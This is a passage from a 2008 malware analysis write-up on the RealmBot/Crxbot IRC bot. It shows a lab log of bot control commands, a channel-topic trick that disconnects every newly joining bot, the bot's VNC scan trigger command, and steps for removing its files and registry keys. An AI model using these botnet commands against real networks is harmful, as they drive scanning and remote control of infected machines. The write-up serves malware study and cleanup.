Below you can find some example commands:

```

[msg(POL[XP]6617203)] .irc.who
[POL[XP]6617203(~zbxrpbe@192.168.111.129)] -[Login List]-
[POL[XP]6617203(~zbxrpbe@192.168.111.129)] 0. 0xbaddead!~0xbaddead@192.168.111.1
[POL[XP]6617203(~zbxrpbe@192.168.111.129)] 1. <Empty>
[msg(POL[XP]6617203)] .ver
[POL[XP]6617203(~zbxrpbe@192.168.111.129)] RealmBoT (irc.p.l.g) .00. Crxbot Alias
REalmbot -by Lindem-
[msg(POL[XP]6617203)] .uptime
[POL[XP]6617203(~zbxrpbe@192.168.111.129)] RealmBoT (irc.p.l.g) .00. Uptime: 0d 6h 31m.
[msg(POL[XP]6617203)] .web.on
[POL[XP]6617203(~zbxrpbe@192.168.111.129)] [REALMBOT] << Server listening on IP:
192.168.111.129:80, Directory:
    \. >>
[msg(POL[XP]6617203)] .web.off
[POL[XP]6617203(~zbxrpbe@192.168.111.129)] .h.ttp.d...: Server stopped. (1 thread(s)
stopped.)
[msg(POL[XP]6617203)] .reconnect
-:- SignOff POL[XP]6617203: #challenge ("reconnecting")
-:- POL[XP]0337200 [-vrrcmgumh@192.168.111.129] has joined #challenge

```

The last command brought me some nice clue: why not DoS all new bots getting to the channel with one command ? And even without any authentication required ?  
I had to set the channel topic to .disconnect or .reconnect. Every new bot would disconnect right after logging to the channel or reconnect all the time. Just simple as that !

Just to mention: every few minutes Crxbot would change channel topic to ".asc vnc 100 0 0 -r -b". This caused to launch the VNC scan over the local network:

```

<POL[XP]6704633> [REALMBOT] Random Exploitation started on 192.168.x.x:5900 waiting 5
seconds for 0 minutes using 100 threads.
Nice !

```

:: Malware removal

OK. The last thing to check was the way to remove the malware from the infected machine.  
First of all I had to kill the Winsec32.exe process. I've used ProceXplorer from systinternals.com.  
Then remove the files:

```

C:\WINDOWS\Winsec32.exe
C:\WINDOWS\Prefetch\MALWARE.EXE-1F116C78.pf
C:\WINDOWS\Prefetch\WINSEC32.EXE-090839CD.pf

```

and registry keys:

```

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Svchost local services
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\Microsoft Svchost local
services
HKCU\Software\Microsoft\OLE\Microsoft Svchost local services

```

and reboot the system.

Analysis dusk timestamp: Sun Oct 26 01:34:23 CEST 2008

--- [ EOF ] ---